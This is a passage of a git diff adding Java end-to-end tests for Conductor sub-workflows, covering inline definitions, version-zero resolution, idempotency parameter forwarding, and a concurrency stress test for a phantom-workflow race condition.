metadataClient = ApiUtil.METADATA_CLIENT; + + String suffix = RandomStringUtils.randomAlphanumeric(6).toLowerCase(); + String parentWfName = "static_dyn_parent_" + suffix; + + // Build the sub-workflow def as a Java object and embed it directly + WorkflowTask inlineTask = new WorkflowTask(); + inlineTask.setName("check_mark"); + inlineTask.setTaskReferenceName("check_mark"); + inlineTask.setWorkflowTaskType(TaskType.INLINE); + inlineTask.setInputParameters(Map.of("evaluatorType", "javascript", "expression", "true;")); + + WorkflowDef embeddedSubWfDef = new WorkflowDef(); + embeddedSubWfDef.setName("static_inline_sub"); + embeddedSubWfDef.setVersion(1); + embeddedSubWfDef.setSchemaVersion(2); + embeddedSubWfDef.setTasks(List.of(inlineTask)); + embeddedSubWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.ALERT_ONLY); + + WorkflowTask subWfTask = new WorkflowTask(); + subWfTask.setName("exec"); + subWfTask.setTaskReferenceName("exec"); + subWfTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName("static_inline_sub"); + subParams.setVersion(1); + subParams.setWorkflowDef(embeddedSubWfDef); // concrete object, not an expression + subWfTask.setSubWorkflowParam(subParams); + + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setVersion(1); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setTasks(List.of(subWfTask)); + parentWfDef.setTimeoutSeconds(300); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + metadataClient.updateWorkflowDefs(List.of(parentWfDef)); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(parentWfName); + req.setVersion(1); + String workflowId = workflowClient.startWorkflow(req); + + try { + // Wait until the sub-workflow has been created (INLINE task completes fast) + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertNotNull(wf.getTasks().get(0).getSubWorkflowId()); + }); + + String subWorkflowId = + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .get(0) + .getSubWorkflowId(); + + Workflow subWf = workflowClient.getWorkflow(subWorkflowId, false); + Object systemMetadata = subWf.getInput().get("_systemMetadata"); + assertNotNull( + systemMetadata, + "Static inline sub-workflows must also be marked dynamic — " + + "_systemMetadata must be present whenever workflowDefinition != null"); + assertTrue(systemMetadata instanceof Map); + assertEquals( + true, + ((Map) systemMetadata).get("dynamic"), + "dynamic flag must be true for static inline sub-workflow definitions"); + } finally { + try { + workflowClient.terminateWorkflow(workflowId, "e2e test cleanup"); + } catch (Exception ignored) { + } + try { + metadataClient.unregisterWorkflowDef(parentWfName, 1); + } catch (Exception ignored) { + } + } + } + + /** + * Verifies that version=0 in subWorkflowParams is treated as "use the latest version", and that + * this sentinel value survives the Number.intValue() fix correctly. + * + *

    Proof: SubWorkflow.start() does {@code resolvedVersion = version == 0 ? null : version}. A + * null version passed to StartWorkflowInput causes WorkflowExecutor to fetch the latest version + * from MetadataDAO. We register two versions; set subWorkflowParams.version=0; assert that + * version 2 (latest) executes. If the sentinel were ignored, version 1 could run. + */ + @Test + public void testVersionZeroTreatedAsLatest() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + + String suffix = RandomStringUtils.randomAlphanumeric(6).toLowerCase(); + String parentWfName = "ver0_parent_" + suffix; + String subWfName = "ver0_sub_" + suffix; + String taskName = "ver0_task_" + suffix; + + TaskDef taskDef = new TaskDef(taskName); + taskDef.setOwnerEmail("test@conductor.io"); + + WorkflowTask t = new WorkflowTask(); + t.setName(taskName); + t.setTaskReferenceName("t1"); + t.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef subV1 = new WorkflowDef(); + subV1.setName(subWfName); + subV1.setVersion(1); + subV1.setOwnerEmail("test@conductor.io"); + subV1.setTasks(List.of(t)); + subV1.setOutputParameters(Map.of("version", "v1")); + subV1.setTimeoutSeconds(300); + subV1.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + WorkflowDef subV2 = new WorkflowDef(); + subV2.setName(subWfName); + subV2.setVersion(2); + subV2.setOwnerEmail("test@conductor.io"); + subV2.setTasks(List.of(t)); + subV2.setOutputParameters(Map.of("version", "v2")); + subV2.setTimeoutSeconds(300); + subV2.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + WorkflowTask subWfTask = new WorkflowTask(); + subWfTask.setName("exec"); + subWfTask.setTaskReferenceName("exec"); + subWfTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName(subWfName); + subParams.setVersion(0); // sentinel: use latest + subWfTask.setSubWorkflowParam(subParams); + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setVersion(1); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setTasks(List.of(subWfTask)); + parentWfDef.setTimeoutSeconds(300); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + metadataClient.registerTaskDefs(List.of(taskDef)); + metadataClient.updateWorkflowDefs(List.of(subV1, subV2, parentWfDef)); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(parentWfName); + req.setVersion(1); + String workflowId = workflowClient.startWorkflow(req); + + try { + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertNotNull( + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .get(0) + .getSubWorkflowId())); + + String subWorkflowId = + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .get(0) + .getSubWorkflowId(); + + String innerTaskId = awaitFirstTaskId(workflowClient, subWorkflowId); + TaskResult result = new TaskResult(); + result.setWorkflowInstanceId(subWorkflowId); + result.setTaskId(innerTaskId); + result.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(result); + + // version=0 → resolvedVersion=null → WorkflowExecutor fetches latest (v2) + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow subWf = workflowClient.getWorkflow(subWorkflowId, false); + assertEquals(Workflow.WorkflowStatus.COMPLETED, subWf.getStatus()); + assertEquals( + "v2", + subWf.getOutput().get("version"), + "version=0 must resolve to the latest version (v2)"); + }); + } finally { + try { + workflowClient.terminateWorkflow(workflowId, "e2e test cleanup"); + } catch (Exception ignored) { + } + try { + metadataClient.unregisterWorkflowDef(parentWfName, 1); + metadataClient.unregisterWorkflowDef(subWfName, 1); + metadataClient.unregisterWorkflowDef(subWfName, 2); + metadataClient.unregisterTaskDef(taskName); + } catch (Exception ignored) { + } + } + } + + /** + * Verifies that both idempotencyKey AND idempotencyStrategy are forwarded through the mapper + * into task inputData and then read by SubWorkflow.start() into StartWorkflowInput without + * errors. Also validates that the IdempotencyStrategy enum survives serialization (stored as + * its enum name string, correctly deserialized via IdempotencyStrategy.valueOf). + */ + @Test + public void testIdempotencyKeyAndStrategyBothForwardedWithoutBreakingExecution() { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + TaskClient taskClient = ApiUtil.TASK_CLIENT; + + String suffix = RandomStringUtils.randomAlphanumeric(6).toLowerCase(); + String parentWfName = "idp_strat_parent_" + suffix; + String subWfName = "idp_strat_sub_" + suffix; + String taskName = "idp_strat_task_" + suffix; + + TaskDef taskDef = new TaskDef(taskName); + taskDef.setOwnerEmail("test@conductor.io"); + WorkflowTask simpleTask = new WorkflowTask(); + simpleTask.setName(taskName); + simpleTask.setTaskReferenceName("t1"); + simpleTask.setWorkflowTaskType(TaskType.SIMPLE); + WorkflowDef subWfDef = new WorkflowDef(); + subWfDef.setName(subWfName); + subWfDef.setVersion(1); + subWfDef.setOwnerEmail("test@conductor.io"); + subWfDef.setTasks(List.of(simpleTask)); + subWfDef.setTimeoutSeconds(300); + subWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + WorkflowTask subWfTask = new WorkflowTask(); + subWfTask.setName("exec"); + subWfTask.setTaskReferenceName("exec"); + subWfTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName(subWfName); + subParams.setVersion(1); + subParams.setIdempotencyKey("e2e-idempotency-key-" + suffix); + subParams.setIdempotencyStrategy( + com.netflix.conductor.common.metadata.workflow.IdempotencyStrategy.RETURN_EXISTING); + subWfTask.setSubWorkflowParam(subParams); + WorkflowDef parentWfDef = new WorkflowDef(); + parentWfDef.setName(parentWfName); + parentWfDef.setVersion(1); + parentWfDef.setOwnerEmail("test@conductor.io"); + parentWfDef.setTasks(List.of(subWfTask)); + parentWfDef.setTimeoutSeconds(300); + parentWfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + + metadataClient.registerTaskDefs(List.of(taskDef)); + metadataClient.updateWorkflowDefs(List.of(subWfDef, parentWfDef)); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(parentWfName); + req.setVersion(1); + String workflowId = workflowClient.startWorkflow(req); + + try { + // Both key and strategy must not prevent sub-workflow creation — + // idempotency enforcement is not implemented in OSS but the plumbing must not crash. + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Task.Status.IN_PROGRESS, wf.getTasks().get(0).getStatus()); + assertNotNull(wf.getTasks().get(0).getSubWorkflowId()); + }); + + String subWorkflowId = + workflowClient + .getWorkflow(workflowId, true) + .getTasks() + .get(0) + .getSubWorkflowId(); + + // The idempotencyKey must have been forwarded to the task's inputData by the mapper. + // We verify via the task inputData visible in the workflow execution. + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals( + "e2e-idempotency-key-" + suffix, + wf.getTasks().get(0).getInputData().get("idempotencyKey"), + "idempotencyKey must be forwarded through the mapper into task inputData"); + assertEquals( + "RETURN_EXISTING", + String.valueOf(wf.getTasks().get(0).getInputData().get("idempotencyStrategy")), + "idempotencyStrategy must be forwarded as its enum name string"); + + // Complete the inner task to clean up + String innerTaskId = awaitFirstTaskId(workflowClient, subWorkflowId); + TaskResult result = new TaskResult(); + result.setWorkflowInstanceId(subWorkflowId); + result.setTaskId(innerTaskId); + result.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(result); + + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflowClient + .getWorkflow(workflowId, false) + .getStatus())); + } finally { + try { + workflowClient.terminateWorkflow(workflowId, "e2e test cleanup"); + } catch (Exception ignored) { + } + try { + metadataClient.unregisterWorkflowDef(parentWfName, 1); + metadataClient.unregisterWorkflowDef(subWfName, 1); + metadataClient.unregisterTaskDef(taskName); + } catch (Exception ignored) { + } + } + } + + private String awaitFirstTaskId(WorkflowClient workflowClient, String workflowId) { + final String[] taskId = new String[1]; + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertTrue( + workflow.getTasks() != null && !workflow.getTasks().isEmpty(), + "Sub-workflow first task should be scheduled"); + taskId[0] = workflow.getTasks().get(0).getTaskId(); + assertNotNull(taskId[0]); + }); + return taskId[0]; + } + + private void registerInlineWorkflowDef(String workflowName, MetadataClient metadataClient1) { + TaskDef taskDef = new TaskDef("dt1"); + taskDef.setOwnerEmail("test@conductor.io"); + + TaskDef taskDef2 = new TaskDef("dt2"); + taskDef2.setOwnerEmail("test@conductor.io"); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("dt2"); + workflowTask.setName("dt2"); + workflowTask.setTaskDefinition(taskDef2); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask inline = new WorkflowTask(); + inline.setTaskReferenceName("dt1"); + inline.setName("dt1"); + inline.setTaskDefinition(taskDef); + inline.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowTask inlineSubworkflow = new WorkflowTask(); + inlineSubworkflow.setTaskReferenceName("dynamicFork"); + inlineSubworkflow.setName("dynamicFork"); + inlineSubworkflow.setTaskDefinition(taskDef); + inlineSubworkflow.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + + WorkflowDef inlineWorkflowDef = new WorkflowDef(); + inlineWorkflowDef.setName("inline_test_sub_workflow"); + inlineWorkflowDef.setVersion(1); + inlineWorkflowDef.setTasks(Arrays.asList(inline)); + inlineWorkflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + inlineWorkflowDef.setTimeoutSeconds(600); + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName("inline_test_sub_workflow"); + subWorkflowParams.setVersion(1); + subWorkflowParams.setWorkflowDef(inlineWorkflowDef); + inlineSubworkflow.setSubWorkflowParam(subWorkflowParams); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setTimeoutSeconds(600); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + workflowDef.setDescription("Workflow to test inline sub_workflow definition"); + workflowDef.setTasks(Arrays.asList(workflowTask, inlineSubworkflow)); + try { + metadataClient1.updateWorkflowDefs(java.util.List.of(workflowDef)); + metadataClient1.registerTaskDefs(Arrays.asList(taskDef, taskDef2)); + } catch (Exception e) { + } + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowScheduledRaceTests.java b/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowScheduledRaceTests.java new file mode 100644 index 0000000..236f3e1 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowScheduledRaceTests.java @@ -0,0 +1,259 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.control; + +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.UUID; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.RandomStringUtils; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import io.conductor.e2e.util.ApiUtil; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; + +/** + * Stress probe for the SUB_WORKFLOW SCHEDULED-recovery race. + * + *

    The race window opens between the async system-task worker calling {@code + * WorkflowExecutor.startWorkflowIdempotent} (which creates the child workflow and queues it for + * evaluation) and the worker writing the parent task back to the DB. If the child workflow + * completes synchronously during this window — i.e. {@code decide(child)} runs and the child's + * tasks complete inline in a single pass — {@code completeWorkflow(child)} drives {@code + * updateParentWorkflowTask}, which reads the parent task in its pre-attach state (SCHEDULED, no + * {@code subWorkflowId}) and invokes {@code SubWorkflow.execute(child, parentTask, …)} with the + * child workflow as the context. The SCHEDULED-recovery branch then derives a phantom deterministic + * id from the child's workflow id and mints an orphaned workflow. + * + *

    This test exercises the race by: + * + *

      + *
    1. registering a child workflow with a single INLINE task — synchronous, completes in the + * first decide pass, opening the race window reliably, + *
    2. launching many parent workflows in parallel to widen the chance any single run wins the + * race, + *
    3. asserting two independent invariants after every parent completes: + *
        + *
      • the parent SUB_WORKFLOW task's {@code subWorkflowId} matches the deterministic id + * computed from {@code (parentId, parentTaskId, 0)} — a mismatch means a phantom + * overwrote it, + *
      • the total count of workflows with the child def name equals the number of parents — + * any extras are phantoms. + *
      + *
    + * + *

    This is a probabilistic reproducer; PARALLELISM is sized to fire the race reliably under load + * but no run is guaranteed to hit it. Inspect {@code parentWorkflowId} on any flagged phantom to + * confirm it points at a legitimate child id — the smoking gun for this bug. + */ +public class SubWorkflowScheduledRaceTests { + + private static final int PARALLELISM = 50; + private static final int AWAIT_SECONDS = 90; + + @Test + public void parentSubWorkflowTaskMustNotPointAtPhantomChild() throws Exception { + WorkflowClient workflowClient = ApiUtil.WORKFLOW_CLIENT; + MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + + String suffix = RandomStringUtils.randomAlphanumeric(6).toLowerCase(); + String parentName = "sw_race_parent_" + suffix; + String childName = "sw_race_child_" + suffix; + + registerChildWithInlineOnly(childName, metadataClient); + registerParentWithSubWorkflow(parentName, childName, metadataClient); + + ExecutorService executor = Executors.newFixedThreadPool(16); + try { + List> starts = new ArrayList<>(); + for (int i = 0; i < PARALLELISM; i++) { + starts.add( + CompletableFuture.supplyAsync( + () -> { + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(parentName); + req.setVersion(1); + return workflowClient.startWorkflow(req); + }, + executor)); + } + + List parentIds = + starts.stream().map(CompletableFuture::join).collect(Collectors.toList()); + + await().atMost(AWAIT_SECONDS, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + for (String pid : parentIds) { + Workflow wf = workflowClient.getWorkflow(pid, true); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + wf.getStatus(), + "parent " + pid + " did not complete"); + } + }); + + // Per-parent integrity: SUB_WORKFLOW task's subWorkflowId must equal + // the deterministic id derived from the real parent context. Any + // mismatch means the SCHEDULED-recovery branch wrote a phantom id. + for (String pid : parentIds) { + Workflow wf = workflowClient.getWorkflow(pid, true); + String parentTaskId = + wf.getTasks().stream() + .filter(t -> "SUB_WORKFLOW".equals(t.getTaskType())) + .findFirst() + .orElseThrow() + .getTaskId(); + + String expectedChildId = deterministicSubWorkflowId(pid, parentTaskId, 0); + String actualChildId = + wf.getTasks().stream() + .filter(t -> "SUB_WORKFLOW".equals(t.getTaskType())) + .findFirst() + .orElseThrow() + .getSubWorkflowId(); + + assertNotNull(actualChildId, "parent " + pid + " has no subWorkflowId attached"); + assertEquals( + expectedChildId, + actualChildId, + "parent " + + pid + + " subWorkflowId does not match the deterministic id derived from the parent context — " + + "phantom workflow likely overwrote it via SCHEDULED-recovery race"); + + Workflow child = workflowClient.getWorkflow(actualChildId, false); + assertEquals( + pid, + child.getParentWorkflowId(), + "child " + actualChildId + " has wrong parentWorkflowId"); + } + + // Phantom probe: for every parent, compute the id that the buggy + // derivation would produce (deterministic(childId, parentTaskId, 0)) + // and try to fetch it. If any of those exists, the SCHEDULED-recovery + // race fired at least once. Uses getWorkflow rather than search so + // it works with every indexing backend, including sqlite. + List phantoms = new ArrayList<>(); + for (String pid : parentIds) { + Workflow wf = workflowClient.getWorkflow(pid, true); + String parentTaskId = + wf.getTasks().stream() + .filter(t -> "SUB_WORKFLOW".equals(t.getTaskType())) + .findFirst() + .orElseThrow() + .getTaskId(); + String legitimateChildId = deterministicSubWorkflowId(pid, parentTaskId, 0); + String phantomId = deterministicSubWorkflowId(legitimateChildId, parentTaskId, 0); + try { + Workflow phantom = workflowClient.getWorkflow(phantomId, false); + if (phantom != null) { + phantoms.add(phantomId); + } + } catch (Exception notFound) { + // expected — phantom does not exist + } + } + assertEquals( + List.of(), + phantoms, + "found phantom workflows produced by the SCHEDULED-recovery race: " + phantoms); + } finally { + executor.shutdownNow(); + executor.awaitTermination(5, TimeUnit.SECONDS); + } + } + + /** Mirrors {@code com.netflix.conductor.core.utils.IDGenerator.generateSubWorkflowId}. */ + private static String deterministicSubWorkflowId( + String parentWorkflowId, String parentWorkflowTaskId, int retryCount) { + String source = + String.format( + "subworkflow:%s:%s:%d", parentWorkflowId, parentWorkflowTaskId, retryCount); + return UUID.nameUUIDFromBytes(source.getBytes(StandardCharsets.UTF_8)).toString(); + } + + private static void registerChildWithInlineOnly(String name, MetadataClient md) { + TaskDef td = new TaskDef(name); + td.setRetryCount(0); + td.setOwnerEmail("test@conductor.io"); + md.registerTaskDefs(List.of(td)); + + WorkflowTask inline = new WorkflowTask(); + inline.setTaskReferenceName("inline_done"); + inline.setName("inline_done"); + inline.setTaskDefinition(td); + inline.setWorkflowTaskType(TaskType.INLINE); + inline.setInputParameters( + Map.of( + "evaluatorType", "graaljs", + "expression", "true;")); + + WorkflowDef def = new WorkflowDef(); + def.setName(name); + def.setVersion(1); + def.setOwnerEmail("test@conductor.io"); + def.setTimeoutSeconds(120); + def.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + def.setTasks(List.of(inline)); + md.updateWorkflowDefs(List.of(def)); + } + + private static void registerParentWithSubWorkflow( + String parentName, String childName, MetadataClient md) { + TaskDef td = new TaskDef("sub_" + parentName); + td.setRetryCount(0); + td.setOwnerEmail("test@conductor.io"); + md.registerTaskDefs(List.of(td)); + + WorkflowTask sw = new WorkflowTask(); + sw.setTaskReferenceName("child_call"); + sw.setName("sub_" + parentName); + sw.setTaskDefinition(td); + sw.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams params = new SubWorkflowParams(); + params.setName(childName); + params.setVersion(1); + sw.setSubWorkflowParam(params); + + WorkflowDef def = new WorkflowDef(); + def.setName(parentName); + def.setVersion(1); + def.setOwnerEmail("test@conductor.io"); + def.setTimeoutSeconds(120); + def.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + def.setTasks(List.of(sw)); + md.updateWorkflowDefs(List.of(def)); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowTests.java b/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowTests.java new file mode 100644 index 0000000..e4da07b --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/control/SubWorkflowTests.java @@ -0,0 +1,361 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.control; + +import java.io.InputStream; +import java.io.InputStreamReader; +import java.util.*; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.automator.TaskRunnerConfigurer; +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.client.worker.Worker; +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import io.conductor.e2e.util.ApiUtil; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +@Slf4j +public class SubWorkflowTests { + + private static WorkflowClient workflowClient; + + private static TaskClient taskClient; + + private static MetadataClient metadataClient; + + private static ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + private static TypeReference> WORKFLOW_DEF_LIST = + new TypeReference>() {}; + + private static final String WORKFLOW_NAME = "sub_workflow_test"; + + private static Map taskToDomainMap = new HashMap<>(); + + private static TaskRunnerConfigurer configurer; + + private static TaskRunnerConfigurer configurerNoDomain; + + @SneakyThrows + @BeforeAll + public static void beforeAll() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + InputStream resource = + SubWorkflowTests.class.getResourceAsStream("/metadata/workflows.json"); + List workflowDefs = + objectMapper.readValue(new InputStreamReader(resource), WORKFLOW_DEF_LIST); + metadataClient.updateWorkflowDefs(workflowDefs); + Set tasks = new HashSet<>(); + List internalTasks = + List.of( + "HTTP", + "BUSINESS_RULE", + "AWS_LAMBDA", + "JDBC", + "WAIT_FOR_EVENT", + "PUBLISH_BUSINESS_STATE", + "WAIT", + "WAIT_FOR_WEBHOOK", + "DECISION", + "SWITCH", + "DYNAMIC", + "JOIN", + "DO_WHILE", + "FORK_JOIN_DYNAMIC", + "FORK_JOIN", + "JSON_JQ_TRANSFORM", + "FORK"); + for (WorkflowDef workflowDef : workflowDefs) { + List allTasks = workflowDef.collectTasks(); + tasks.addAll( + allTasks.stream() + .filter( + tt -> + !tt.getType().equals("SIMPLE") + && !internalTasks.contains(tt.getType())) + .map(t -> t.getType()) + .collect(Collectors.toSet())); + + tasks.addAll( + allTasks.stream() + .filter( + tt -> + tt.getType().equals("SIMPLE") + && !internalTasks.contains(tt.getType())) + .map(t -> t.getName()) + .collect(Collectors.toSet())); + } + startWorkers(tasks); + log.info( + "Updated workflow definitions: {}", + workflowDefs.stream().map(def -> def.getName()).collect(Collectors.toList())); + } + + @AfterAll + public static void cleanup() { + try { + if (configurer != null) { + configurer.shutdown(); + } + if (configurerNoDomain != null) { + configurerNoDomain.shutdown(); + } + } catch (Throwable t) { + // Ignore any issue with shutdown + } + } + + @Test + public void testSubWorkflowWithDomain() { + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName(WORKFLOW_NAME); + request.setTaskToDomain(taskToDomainMap); + String workflowId = workflowClient.startWorkflow(request); + log.info("Started {}", workflowId); + assertSubworkflowWithDomain(workflowId); + + int restartCount = 2; + for (int i = 0; i < restartCount; i++) { + workflowClient.restart(workflowId, true); + assertSubworkflowWithDomain(workflowId); + try { + Thread.sleep(100); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + } + } + + private void assertSubworkflowWithDomain(String workflowId) { + await().atMost(120, TimeUnit.SECONDS) + .pollInterval(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Workflow.WorkflowStatus.COMPLETED.name(), + workflow.getStatus().name()); + Map workflowTaskToDomain = workflow.getTaskToDomain(); + assertNotNull(workflowTaskToDomain); + assertTrue(!workflowTaskToDomain.isEmpty()); + for (Map.Entry taskToDomain : + workflowTaskToDomain.entrySet()) { + String taskName = taskToDomain.getKey(); + String domain = taskToDomain.getValue(); + assertEquals(domain, taskToDomainMap.get(taskName)); + } + workflow.getTasks().stream() + .filter(t -> t.getTaskType().equals("SUB_WORKFLOW")) + .forEach( + subWorkflowTask -> { + String subWorkflowId = + subWorkflowTask.getSubWorkflowId(); + Workflow subWorkflow = + workflowClient.getWorkflow( + subWorkflowId, true); + Map subWorkflowDomainMap = + subWorkflow.getTaskToDomain(); + assertNotNull(subWorkflowDomainMap); + assertTrue(!subWorkflowDomainMap.isEmpty()); + + for (Map.Entry taskToDomain : + subWorkflowDomainMap.entrySet()) { + String taskName = taskToDomain.getKey(); + String domain = taskToDomain.getValue(); + assertEquals( + domain, taskToDomainMap.get(taskName)); + } + + SubWorkflowParams subWorkflowParams = + subWorkflowTask + .getWorkflowTask() + .getSubWorkflowParam(); + if (subWorkflowParams.getWorkflowDefinition() + == null) { + Integer version = + subWorkflowParams.getVersion(); + log.info( + "version is {} for {} / {}", + version, + workflowId, + subWorkflowTask.getReferenceTaskName()); + // version=null and version=0 both mean "use + // latest" in conductor-oss + if (version == null || version == 0) { + assertEquals( + 3, + subWorkflow.getWorkflowVersion()); + } else { + assertEquals( + version, + subWorkflow.getWorkflowVersion()); + } + } + }); + }); + } + + @Test + public void testSubworkflowExecutionWithOutDomains() { + StartWorkflowRequest request = new StartWorkflowRequest(); + request.setName(WORKFLOW_NAME); + String workflowId = workflowClient.startWorkflow(request); + log.info("Started {}", workflowId); + assertSubworkflowExecutionWithOutDomains(workflowId); + + int restartCount = 2; + for (int i = 0; i < restartCount; i++) { + workflowClient.restart(workflowId, true); + assertSubworkflowExecutionWithOutDomains(workflowId); + try { + Thread.sleep(100); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + } + } + + private void assertSubworkflowExecutionWithOutDomains(String workflowId) { + await().atMost(120, TimeUnit.SECONDS) + .pollInterval(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals( + 